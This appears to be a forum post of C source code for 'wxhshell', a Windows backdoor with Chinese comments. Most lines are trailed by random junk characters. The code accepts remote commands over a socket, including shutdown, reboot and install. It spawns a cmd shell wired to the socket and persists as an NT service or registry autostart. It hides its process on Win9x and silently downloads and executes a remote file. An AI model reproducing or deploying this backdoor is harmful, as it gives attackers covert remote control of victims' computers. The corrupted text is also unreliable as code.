    switch(cmd[0]) { -7E)u  
  zOJ4I^^  
  // 帮助 KMC]<  
  case '?': { GaV6h|6_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q@]~O-  
    break; _8x:%$   
  } u#(VR]u\7  
  // 安装 {Q9?Q?  
  case 'i': { 'J\nvNm  
    if(Install()) Fy:CG6@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |a9d]^  
    else QOXG:?v\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q?} /q  
    break; >g7}JI&  
    } cmG*"  
  // 卸载 v2=Iqo  
  case 'r': { :[![9JS/  
    if(Uninstall()) @qj4rt"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE.w  
    else 4WCWu}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dH:z _$Mg  
    break; yOR]r+8  
    } b(^/WCykH  
  // 显示 wxhshell 所在路径 W^j;"qj  
  case 'p': { Mttt]]  
    char svExeFile[MAX_PATH]; 7A:k  
    strcpy(svExeFile,"\n\r"); Do1 Ip&X  
      strcat(svExeFile,ExeFile); .\Gl)W  
        send(wsh,svExeFile,strlen(svExeFile),0); g7\MFertR^  
    break; wUb5[m  
    } UuXq+HYR  
  // 重启 ^h wF=  
  case 'b': { ~,#zdm1r@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : :;YS9e  
    if(Boot(REBOOT)) aumWU{j=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%e"A4v  
    else { %f[0&)1!.v  
    closesocket(wsh); B=dF\.&Z  
    ExitThread(0); ]b5E_/P  
    } eCejO59F9  
    break; Cj{+DXT  
    } p;8I@~dh  
  // 关机 d^uE4F}  
  case 'd': { ,Dh+-}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KX8$j$yW  
    if(Boot(SHUTDOWN)) FPAy.cljJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `FS)i7-o6  
    else { ?\ Fo|__  
    closesocket(wsh); yFt$L'#  
    ExitThread(0); )?_x$GKY  
    } `D *U@iJ  
    break; _8zZ.~)  
    } T}fH  
  // 获取shell WFHS8SI  
  case 's': { KWuc*!  
    CmdShell(wsh); Eo h4#fZ\N  
    closesocket(wsh); ,_SE!iL  
    ExitThread(0); #B_Em$  
    break; 8 ckcTNPu  
  } _6U=7<f  
  // 退出 S  ^5EG;[  
  case 'x': { Ug}dw a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sr$&]R]^  
    CloseIt(wsh); -@*[   
    break; >.sdLA Si  
    } *=yUs'brB  
  // 离开 K;uOtbdOK  
  case 'q': { R0 yPmh,{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cXcrb4IKD  
    closesocket(wsh); pTzwyj!SD  
    WSACleanup(); +=_^4  
    exit(1); W^(:\IvV  
    break; FE'|wf  
        } .>X 0 $#  
  } @^q|C&j  
  } !V%h0OE\  
YJ6y]r K2,  
  // 提示信息 _ aJo7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V1yY>  
} " pZvV0'  
  } dSdP]50M  
dWR-}>  
  return; MKdS_&F;~  
} HACY  
p* '%<3ml  
// shell模块句柄 Wi;wu*  
int CmdShell(SOCKET sock) )Bz2-|\  
{ /5**2Kgv1  
STARTUPINFO si; J&hzr t  
ZeroMemory(&si,sizeof(si)); a9f!f %9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AiF'*!1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,Wbr; zb  
PROCESS_INFORMATION ProcessInfo; 'R-Ly^:Qd  
char cmdline[]="cmd"; UrC>n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h4iz(*  
  return 0; Y5dt/8Jo  
} \OzPDN  
,0pCc<  
// 自身启动模式  }q$6^y  
int StartFromService(void) OuZPgN  
{ {fd/:B 7T  
typedef struct Z 91{*?  
{  L- '{   
  DWORD ExitStatus; k vu SE  
  DWORD PebBaseAddress; pq T+lai)#  
  DWORD AffinityMask; ]3KMFV}  
  DWORD BasePriority; hRU5CH/!  
  ULONG UniqueProcessId; v47S9Vm+  
  ULONG InheritedFromUniqueProcessId; V(6*wQ`&  
}   PROCESS_BASIC_INFORMATION; sxK|0i}6  
tyI !y~-z  
PROCNTQSIP NtQueryInformationProcess; $`a>y jma  
>b1#dEY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a1 Kh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q HU}EEv  
w=;Jj7}L  
  HANDLE             hProcess; %&Fsk]T%:  
  PROCESS_BASIC_INFORMATION pbi; z+5ZUS2~&  
`)aIFAW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mm1fG4 *%  
  if(NULL == hInst ) return 0; H^d2|E[D  
$n><p>`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }G/#Nb)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%zOq:{\5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^ UDNp.6k  
u4KP;_,m  
  if (!NtQueryInformationProcess) return 0; #$dEg  
!T|q/ri  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X]1Q# $b  
  if(!hProcess) return 0; }Sx+:N*  
uHQf<R$:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u3k{s  
W"meH~[Cp  
  CloseHandle(hProcess); Gi+ZI{)  
W2`/z)[*>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yKhN1kY  
if(hProcess==NULL) return 0; /cXVJ(#j  
{CaTu5\  
HMODULE hMod; ZzO^IZKlC  
char procName[255]; fep8hf B;  
unsigned long cbNeeded; VpO+52&  
! N!A%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C$x r)_  
O{{\jn|lR  
  CloseHandle(hProcess); b%TLvV 9F  
svWQk9d  
if(strstr(procName,"services")) return 1; // 以服务启动 %7wNS  
9j8<Fs0M  
  return 0; // 注册表启动 q}+Fm?B   
} =jWjUkm2  
0|chRX  
// 主模块 }od5kK;  
int StartWxhshell(LPSTR lpCmdLine) \' Z^rjB  
{ {Q(R#$)5+  
  SOCKET wsl; x-@}x@n&[  
BOOL val=TRUE; bm\Zp  
  int port=0; DX b=Ku  
  struct sockaddr_in door; +M{A4nYY|1  
Uaz$<K6  
  if(wscfg.ws_autoins) Install(); .l:x!  
=U`9_]~1c@  
port=atoi(lpCmdLine); O/ ih9,  
U{Xx)l/o  
if(port<=0) port=wscfg.ws_port; YVW`|'7)|  
y?-zQs0  
  WSADATA data; .QLjaEja  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KmX?W/%R  
3$n O@rOS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Wu J9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [rO TWN  
  door.sin_family = AF_INET; rYfN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +#RqQ8 \  
  door.sin_port = htons(port); K)&oDwk  
L3J .Oh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r"hogmFD;  
closesocket(wsl); }{SpV  
return 1; ]m=2 $mK  
} q_b,3Tp  
k.6gX<T  
  if(listen(wsl,2) == INVALID_SOCKET) { o/\f+iz7  
closesocket(wsl); 5)=YTUCk  
return 1; XNaiMpp'  
} ><DXT nt'x  
  Wxhshell(wsl); >0AVs6&;v  
  WSACleanup(); +6;1.5Tc  
3q)y;T\yW  
return 0; P/Zp3O H  
g+pj1ycw/  
} ,b'QL6>`  
)2&y;{]  
// 以NT服务方式启动 6483v'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @3Nvf}He  
{ f}ES8 Hh[  
DWORD   status = 0; +2 x|j>  
  DWORD   specificError = 0xfffffff; :p0<AU47  
@w @SOzS)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %<rV~9:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D:.1Be`Tv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zi?G wh~  
  serviceStatus.dwWin32ExitCode     = 0; F- l!i/  
  serviceStatus.dwServiceSpecificExitCode = 0; =67tQx58  
  serviceStatus.dwCheckPoint       = 0; E,gpi  
  serviceStatus.dwWaitHint       = 0; Bxf]Lu,\U@  
v[!ZRwk4w3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #Nv)SCc  
  if (hServiceStatusHandle==0) return; W</\F&  
\agT#tT J  
status = GetLastError(); h/xV;oj  
  if (status!=NO_ERROR) Kn`-5{1B|  
{ 586lN22xM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q6AL}9]9  
    serviceStatus.dwCheckPoint       = 0; t +h}hL  
    serviceStatus.dwWaitHint       = 0; <d] t{M62W  
    serviceStatus.dwWin32ExitCode     = status; m-AW}1:\f  
    serviceStatus.dwServiceSpecificExitCode = specificError; a[hQ<@1O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8=DZ;]XD.  
    return; `CqF&b  
  } (>M@Ukam:  
sV$Zf `X)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lCxPR'C|  
  serviceStatus.dwCheckPoint       = 0; 4VI'd|Ed  
  serviceStatus.dwWaitHint       = 0; *'\ xlsp#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tq,xW  
} "Cn<x\E b  
o`%;*tx  
// 处理NT服务事件,比如:启动、停止 up )JU [  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @3WI7q4  
{ pUm|e5  
switch(fdwControl) ]]!&>tOlI  
{ !Jk|ha~r  
case SERVICE_CONTROL_STOP: Wo, "$Z6B  
  serviceStatus.dwWin32ExitCode = 0; K;P<c,9X/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N*6lyFcg  
  serviceStatus.dwCheckPoint   = 0; Tp&7CNl|  
  serviceStatus.dwWaitHint     = 0; %C =?Xhnv  
  { /PTk296@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . yN.  
  } Xb\de_8!  
  return; [l:}#5\]4  
case SERVICE_CONTROL_PAUSE: n"|1A..^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vfpK|=[7o  
  break; y8/+kn +  
case SERVICE_CONTROL_CONTINUE: g>;u} +lO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nny#}k Bt  
  break; =DLVWz/<  
case SERVICE_CONTROL_INTERROGATE:  c FV3  
  break; ' "I-! +  
}; nf )y_5y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p$!Q?&AV/  
} P>[,,w  
c^ W \0  
// 标准应用程序主函数 6sz:rv}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c]>LL(R-7)  
{ #8sv*8&  
B4{clI_i  
// 获取操作系统版本 `71(wf1q[f  
OsIsNt=GetOsVer(); w+G+&ak<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &+Yoob]P  
6  5>}Q.p  
  // 从命令行安装 I6.}r2?;A  
  if(strpbrk(lpCmdLine,"iI")) Install(); -0:Equ?pz  
Eq/oq\(/6  
  // 下载执行文件 Tt+E?C%Y  
if(wscfg.ws_downexe) { [z> Ya-uz7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jQ&82X%m  
  WinExec(wscfg.ws_filenam,SW_HIDE); Msl8o c  
} tEjT$`6hp  
E .%_i8s  
if(!OsIsNt) { 6o=Q;Mezl  
// 如果时win9x,隐藏进程并且设置为注册表启动 _n=,H  
HideProc(); -E,p[Sp  
StartWxhshell(lpCmdLine); apw/nhQ.[  
} |]+PDc%  
else ^J?y mo$>0  
  if(StartFromService()) \+VQoB/  
  // 以服务方式启动 #"KaRh  
  StartServiceCtrlDispatcher(DispatchTable); `Yw:<w\4C  
else KreF\M%Ke  
  // 普通方式启动 5sI9GC  
  StartWxhshell(lpCmdLine); 1`v$R0 `!  
fYUbr"Oe  
return 0; I`4k5KB;  
}
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只看该作者 1 发表于: 2006-10-10
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